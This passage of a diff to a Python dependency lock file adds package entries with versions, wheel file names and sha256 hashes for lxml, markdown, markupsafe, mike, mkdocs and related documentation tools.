"lxml-6.1.0-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c4e425db0c5445ef0ad56b0eec54f89b88b2d884656e536a90b2f52aecb4ca86"}, + {file = "lxml-6.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b89b098105b8599dc57adac95d1813409ac476d3c948a498775d3d0c6124bfb"}, + {file = "lxml-6.1.0-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:c4a699432846df86cc3de502ee85f445ebad748a1c6021d445f3e514d2cd4b1c"}, + {file = "lxml-6.1.0-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:30e7b2ed63b6c8e97cca8af048589a788ab5c9c905f36d9cf1c2bb549f450d2f"}, + {file = "lxml-6.1.0-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:022981127642fe19866d2907d76241bb07ed21749601f727d5d5dd1ce5d1b773"}, + {file = "lxml-6.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:23cad0cc86046d4222f7f418910e46b89971c5a45d3c8abfad0f64b7b05e4a9b"}, + {file = "lxml-6.1.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:21c3302068f50d1e8728c67c87ba92aa87043abee517aa2576cca1855326b405"}, + {file = "lxml-6.1.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:be10838781cb3be19251e276910cd508fe127e27c3242e50521521a0f3781690"}, + {file = "lxml-6.1.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2173a7bffe97667bbf0767f8a99e587740a8c56fdf3befac4b09cb29a80276fd"}, + {file = "lxml-6.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c6854e9cf99c84beb004eecd7d3a3868ef1109bf2b1df92d7bc11e96a36c2180"}, + {file = "lxml-6.1.0-cp314-cp314t-win32.whl", hash = "sha256:00750d63ef0031a05331b9223463b1c7c02b9004cef2346a5b2877f0f9494dd2"}, + {file = "lxml-6.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:80410c3a7e3c617af04de17caa9f9f20adaa817093293d69eae7d7d0522836f5"}, + {file = "lxml-6.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:26dd9f57ee3bd41e7d35b4c98a2ffd89ed11591649f421f0ec19f67d50ec67ac"}, + {file = "lxml-6.1.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b6c2f225662bc5ad416bdd06f72ca301b31b39ce4261f0e0097017fc2891b940"}, + {file = "lxml-6.1.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a86f06f059e22a0d574990ee2df24ede03f7f3c68c1336293eee9536c4c776cd"}, + {file = "lxml-6.1.0-cp38-cp38-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:468479e52ecf3ec23799c863336d02c05fc2f7ffd1a1424eeeb9a28d4eb69d13"}, + {file = "lxml-6.1.0-cp38-cp38-manylinux_2_28_i686.whl", hash = "sha256:a02ca8fe48815bddcfca3248efe54451abb9dbf2f7d1c5744c8aa4142d476919"}, + {file = "lxml-6.1.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:bb40648d96157f9081886defe13eac99253e663be969ff938a9289eff6e47b72"}, + {file = "lxml-6.1.0-cp38-cp38-win32.whl", hash = "sha256:1dd6a1c3ad4cb674f44525d9957f3e9c209bb6dd9213245195167a281fcc2bdc"}, + {file = "lxml-6.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:4e2c54d6b47361d0f1d3bc8d4e082ad87201e56ccdcca4d3b9ee3644ff595ec8"}, + {file = "lxml-6.1.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:920354904d1cb86577d4b3cfe2830c2dbe81d6f4449e57ada428f1609b5985f7"}, + {file = "lxml-6.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c871299c595ee004d186f61840f0bfc4941aa3f17c8ba4a565ead7e4f4f820ee"}, + {file = "lxml-6.1.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d0d799ff958655781296ec870d5e2448e75150da2b3d07f13ff5b0c2c35beefd"}, + {file = "lxml-6.1.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7ba11752e346bd804ea312ec2eea2532dfa8b8d3261d81a32ef9e6ab16256280"}, + {file = "lxml-6.1.0-cp39-cp39-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:26c5272c6a4bf4cf32d3f5a7890c942b0e04438691157d341616d02cca74d4bd"}, + {file = "lxml-6.1.0-cp39-cp39-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c53fa3a5a52122d590e847a57ccf955557b9634a7f99ff5a35131321b0a85317"}, + {file = "lxml-6.1.0-cp39-cp39-manylinux_2_28_i686.whl", hash = "sha256:76b958b4ea3104483c20f74866d55aa056546e15ebe83dd7aecd63698f43b755"}, + {file = "lxml-6.1.0-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:8c11b984b5ce6add4dccc7144c7be5d364d298f15b0c6a57da1991baedc750ce"}, + {file = "lxml-6.1.0-cp39-cp39-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d3829a6e6fd550a219564912d4002c537f65da4c6ae4e093cc34462f4fa027ad"}, + {file = "lxml-6.1.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:52b0ac6903cf74ebf997eb8c682d2fbac7d1ab7e4c552413eec55868a9b73f39"}, + {file = "lxml-6.1.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:29f5c00cb7d752bce2c70ebd2d31b0a42f9499ffdd3ecb2f31a5b73ee43031ad"}, + {file = "lxml-6.1.0-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:c748ebcb6877de89f48ab90ca96642ac458fff5dec291a2b9337cd4d0934e383"}, + {file = "lxml-6.1.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:08950a23f296b3f83521577274e3d3b0f3d739bf2e68d01a752e4288bc50d286"}, + {file = "lxml-6.1.0-cp39-cp39-win32.whl", hash = "sha256:11a873c77a181b4fef9c2e357d08ed399542c2af1390101da66720a19c7c9618"}, + {file = "lxml-6.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:81ff55c70b67d19d52b6fd118a114c0a4c97d799cd3089ff9bd9e2ff4b414ee2"}, + {file = "lxml-6.1.0-cp39-cp39-win_arm64.whl", hash = "sha256:481d6e2104285d9add34f41b42b247b76b61c5b5c26c303c2e9707bbf8bd9a64"}, + {file = "lxml-6.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:546b66c0dd1bb8d9fa89d7123e5fa19a8aff3a1f2141eb22df96112afb17b842"}, + {file = "lxml-6.1.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5cfa1a34df366d9dc0d5eaf420f4cf2bb1e1bebe1066d1c2fc28c179f8a4004c"}, + {file = "lxml-6.1.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db88156fcf544cdbf0d95588051515cfdfd4c876fc66444eb98bceb5d6db76de"}, + {file = "lxml-6.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:07f98f5496f96bf724b1e3c933c107f0cbf2745db18c03d2e13a291c3afd2635"}, + {file = "lxml-6.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4642e04449a1e164b5ff71ffd901ddb772dfabf5c9adf1b7be5dffe1212bc037"}, + {file = "lxml-6.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:7da13bb6fbadfafb474e0226a30570a3445cfd47c86296f2446dafbd77079ace"}, + {file = "lxml-6.1.0.tar.gz", hash = "sha256:bfd57d8008c4965709a919c3e9a98f76c2c7cb319086b3d26858250620023b13"}, +] + +[package.extras] +cssselect = ["cssselect (>=0.7)"] +html-clean = ["lxml_html_clean"] +html5 = ["html5lib"] +htmlsoup = ["BeautifulSoup4"] + +[[package]] +name = "markdown" +version = "3.10.2" +description = "Python implementation of John Gruber's Markdown." +optional = false +python-versions = ">=3.10" +groups = ["docs"] +files = [ + {file = "markdown-3.10.2-py3-none-any.whl", hash = "sha256:e91464b71ae3ee7afd3017d9f358ef0baf158fd9a298db92f1d4761133824c36"}, + {file = "markdown-3.10.2.tar.gz", hash = "sha256:994d51325d25ad8aa7ce4ebaec003febcce822c3f8c911e3b17c52f7f589f950"}, +] + +[package.extras] +docs = ["mdx_gh_links (>=0.2)", "mkdocs (>=1.6)", "mkdocs-gen-files", "mkdocs-literate-nav", "mkdocs-nature (>=0.6)", "mkdocs-section-index", "mkdocstrings[python] (>=0.28.3)"] +testing = ["coverage", "pyyaml"] + +[[package]] +name = "markdown-it-py" +version = "4.0.0" +description = "Python port of markdown-it. Markdown parsing, done right!" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147"}, + {file = "markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3"}, +] + +[package.dependencies] +mdurl = ">=0.1,<1.0" + +[package.extras] +benchmarking = ["psutil", "pytest", "pytest-benchmark"] +compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "markdown-it-pyrs", "mistletoe (>=1.0,<2.0)", "mistune (>=3.0,<4.0)", "panflute (>=2.3,<3.0)"] +linkify = ["linkify-it-py (>=1,<3)"] +plugins = ["mdit-py-plugins (>=0.5.0)"] +profiling = ["gprof2dot"] +rtd = ["ipykernel", "jupyter_sphinx", "mdit-py-plugins (>=0.5.0)", "myst-parser", "pyyaml", "sphinx", "sphinx-book-theme (>=1.0,<2.0)", "sphinx-copybutton", "sphinx-design"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions", "requests"] + +[[package]] +name = "markupsafe" +version = "3.0.3" +description = "Safely add untrusted strings to HTML/XML markup." +optional = false +python-versions = ">=3.9" +groups = ["main", "dev", "docs"] +files = [ + {file = "markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559"}, + {file = "markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1"}, + {file = "markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa"}, + {file = "markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8"}, + {file = "markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1"}, + {file = "markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad"}, + {file = "markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a"}, + {file = "markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19"}, + {file = "markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01"}, + {file = "markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c"}, + {file = "markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e"}, + {file = "markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b"}, + {file = "markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d"}, + {file = "markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c"}, + {file = "markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f"}, + {file = "markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795"}, + {file = "markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12"}, + {file = "markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed"}, + {file = "markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5"}, + {file = "markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485"}, + {file = "markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73"}, + {file = "markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287"}, + {file = "markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe"}, + {file = "markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe"}, + {file = "markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9"}, + {file = "markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581"}, + {file = "markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4"}, + {file = "markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab"}, + {file = "markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa"}, + {file = "markupsafe-3.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:15d939a21d546304880945ca1ecb8a039db6b4dc49b2c5a400387cdae6a62e26"}, + {file = "markupsafe-3.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f71a396b3bf33ecaa1626c255855702aca4d3d9fea5e051b41ac59a9c1c41edc"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f4b68347f8c5eab4a13419215bdfd7f8c9b19f2b25520968adfad23eb0ce60c"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8fc20152abba6b83724d7ff268c249fa196d8259ff481f3b1476383f8f24e42"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:949b8d66bc381ee8b007cd945914c721d9aba8e27f71959d750a46f7c282b20b"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3537e01efc9d4dccdf77221fb1cb3b8e1a38d5428920e0657ce299b20324d758"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:591ae9f2a647529ca990bc681daebdd52c8791ff06c2bfa05b65163e28102ef2"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a320721ab5a1aba0a233739394eb907f8c8da5c98c9181d1161e77a0c8e36f2d"}, + {file = "markupsafe-3.0.3-cp39-cp39-win32.whl", hash = "sha256:df2449253ef108a379b8b5d6b43f4b1a8e81a061d6537becd5582fba5f9196d7"}, + {file = "markupsafe-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:7c3fb7d25180895632e5d3148dbdc29ea38ccb7fd210aa27acbd1201a1902c6e"}, + {file = "markupsafe-3.0.3-cp39-cp39-win_arm64.whl", hash = "sha256:38664109c14ffc9e7437e86b4dceb442b0096dfe3541d7864d9cbe1da4cf36c8"}, + {file = "markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698"}, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +description = "Markdown URL utilities" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, + {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, +] + +[[package]] +name = "mergedeep" +version = "1.3.4" +description = "A deep merge function for 🐍." +optional = false +python-versions = ">=3.6" +groups = ["docs"] +files = [ + {file = "mergedeep-1.3.4-py3-none-any.whl", hash = "sha256:70775750742b25c0d8f36c55aed03d24c3384d17c951b3175d898bd778ef0307"}, + {file = "mergedeep-1.3.4.tar.gz", hash = "sha256:0096d52e9dad9939c3d975a774666af186eda617e6ca84df4c94dec30004f2a8"}, +] + +[[package]] +name = "mike" +version = "2.2.0" +description = "Manage multiple versions of your MkDocs-powered documentation" +optional = false +python-versions = "*" +groups = ["docs"] +files = [ + {file = "mike-2.2.0-py3-none-any.whl", hash = "sha256:e1f4981c1152eec7c2490a3401142292cc47d686194188416db2648fdfe1d040"}, + {file = "mike-2.2.0.tar.gz", hash = "sha256:1e3858e32c0f125aac14432fc7848434358f9ae0962c5c5cde387ad47f6ad25e"}, +] + +[package.dependencies] +jinja2 = ">=2.7" +mkdocs = ">=1.0,<2.0" +pyparsing = ">=3.0" +pyyaml = ">=5.1" +pyyaml-env-tag = "*" +verspec = "*" + +[package.extras] +dev = ["coverage", "flake8 (>=3.0)", "flake8-quotes", "shtab"] +test = ["coverage", "flake8 (>=3.0)", "flake8-quotes", "shtab"] + +[[package]] +name = "mkdocs" +version = "1.6.1" +description = "Project documentation with Markdown." +optional = false +python-versions = ">=3.8" +groups = ["docs"] +files = [ + {file = "mkdocs-1.6.1-py3-none-any.whl", hash = 